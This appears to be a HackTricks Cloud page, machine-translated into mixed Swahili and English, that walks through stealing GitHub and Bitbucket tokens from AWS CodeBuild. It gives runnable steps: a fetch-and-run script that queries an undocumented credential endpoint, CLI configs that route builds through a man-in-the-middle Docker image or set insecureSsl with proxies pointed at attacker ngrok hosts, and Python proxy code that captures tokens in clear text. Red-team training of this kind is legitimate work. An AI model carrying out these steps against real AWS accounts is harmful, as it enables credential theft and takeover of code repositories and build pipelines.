AWS Codebuild - Token Leakage
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
Pata Github/Bitbucket Tokens zilizosanidiwa
Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak:
aws codebuild list-source-credentials
Kupitia RCE katika CodeBuild Job
Kutoka ndani ya CodeBuild job, unaweza kufikia endpoint isiyoandikwa ya AWS CodeBuild API ambayo itakurudishia credentials zinazotumika na CodeBuild. Hii inaweza kutumika kupata credentials ambazo CodeBuild job ilianzishwa nazo, mfano AWS CodeConnection credentials, OAUTH au PAT credentials. CodeBuild job haihitaji kuwa privileged ili kufikia endpoint hii na pia ni vigumu kuigundua katika logging na monitoring kwani CodeBuild yenyewe inaita endpoint hii mara kadhaa wakati wa startup.
Mbinu imeelezewa zaidi katika https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ lakini kwa muhtasari, ili kupata credentials ndani ya CodeBuild job unahitaji tu kuendesha yafuatayo:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Kupitia Docker Image
Ikiwa utagundua kuwa authentication kwa mfano kwa Github imewekwa kwenye akaunti, unaweza exfiltrate hiyo access (GH token or OAuth token) kwa kufanya Codebuild iitumie specific docker image kuendesha build ya project.
Kwa madhumuni haya unaweza create a new Codebuild project au kubadilisha environment ya ile iliyopo ili kuweka Docker image.
Docker image unaweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni Docker image rahisi sana itakayoweka env variables https_proxy, http_proxy na SSL_CERT_FILE. Hii itakuwezesha intercept sehemu kubwa ya trafiki ya host iliyoonyeshwa katika https_proxy na http_proxy na kuamini SSL CERT iliyoonyeshwa katika SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Fuata maagizo ya repo ili kuweka proxy IP yako na SSL cert yako na build the docker image.
- DO NOT SET
http_proxyili kuto-intercept requests kwa metadata endpoint. - Unaweza kutumia
ngrokkamangrok tcp 4444ili kuweka proxy kwa host yako - Mara baada ya kuwa umejenga Docker image, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Create a new Codebuild project au modify environment ya ile iliyopo.
- Weka project itumie previously generated Docker image
.png)
- Set the MitM proxy in your host
- Kama ilivyoonyeshwa katika Github repo unaweza kutumia kitu kama:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
The mitmproxy version used was 9.0.1, iliripotiwa kwamba kwa toleo 10 hii inaweza isiwe kazi.
- Endesha build & capture the credentials
- Unaweza kuona token katika kichwa cha Authorization:
.png)
Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Kupitia insecureSSL
Codebuild miradi ina setting iitwayo insecureSsl ambayo imefichwa kwenye kiolesura cha wavuti; unaweza kuibadilisha tu kupitia API.
Kuwezesha hili kunaruhusu Codebuild kuunganishwa na repository bila kukagua cheti kinachotolewa na jukwaa.
- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama:
aws codebuild batch-get-projects --name <proj-name>
- Kisha, kwa taarifa uliyoikusanya unaweza kusasisha mpangilio wa mradi
insecureSslkuwaTrue. Hapa chini ni mfano wa jinsi nilivyosasisha mradi, angaliainsecureSsl=Truemwishoni (hii ndicho pekee unachohitaji kubadilisha kutoka kwa usanidi uliokusanywa). - Zaidi ya hayo, pia ongeza vigezo vya mazingira http_proxy na https_proxy vinavyoelekeza kwa tcp ngrok yako kama:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm katika bandari iliyotajwa na vigezo vya proxy (http_proxy na https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Mwisho, bonyeza kwenye Build the project, credentials zitatumwa kama clear text (base64) kwenye mitm port:
 (1).png)
Kupitia itifaki ya HTTP
[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)
Mshambuliaji mwenye elevated permissions in over a CodeBuild could leak the Github/Bitbucket token iliyosanidiwa, au ikiwa ruhusa zilipangwa kupitia OAuth, temporary OAuth token used to access the code inaweza kuonekana.
- Mshambuliaji anaweza kuongeza environment variables http_proxy na https_proxy kwenye project ya CodeBuild zikielekeza kwenye mashine yake (kwa mfano
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Kisha, badilisha URL ya github repo ili itumie HTTP badala ya HTTPS, kwa mfano:
http://github.com/carlospolop-forks/TestActions - Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye port iliyoonyeshwa na proxy variables (http_proxy and https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Ifuatayo, bonyeza Jenga mradi au anza ujenzi kutoka kwenye mstari wa amri:
aws codebuild start-build --project-name <proj-name>
- Mwisho, nyaraka za uthibitisho zitatumwa kwa maandishi wazi (base64) kwenye mitm port:
.png)
Warning
Sasa mshambulizi ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha ruhusa zote zilizo ndani yake na kuitumia (kama kutumia vibaya) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
Utekelezaji wa PR usioaminifu kupitia usanidi mbaya wa kichujio cha webhook
Kwa mnyororo wa webhook bypass unaochochewa na PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), angalia:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

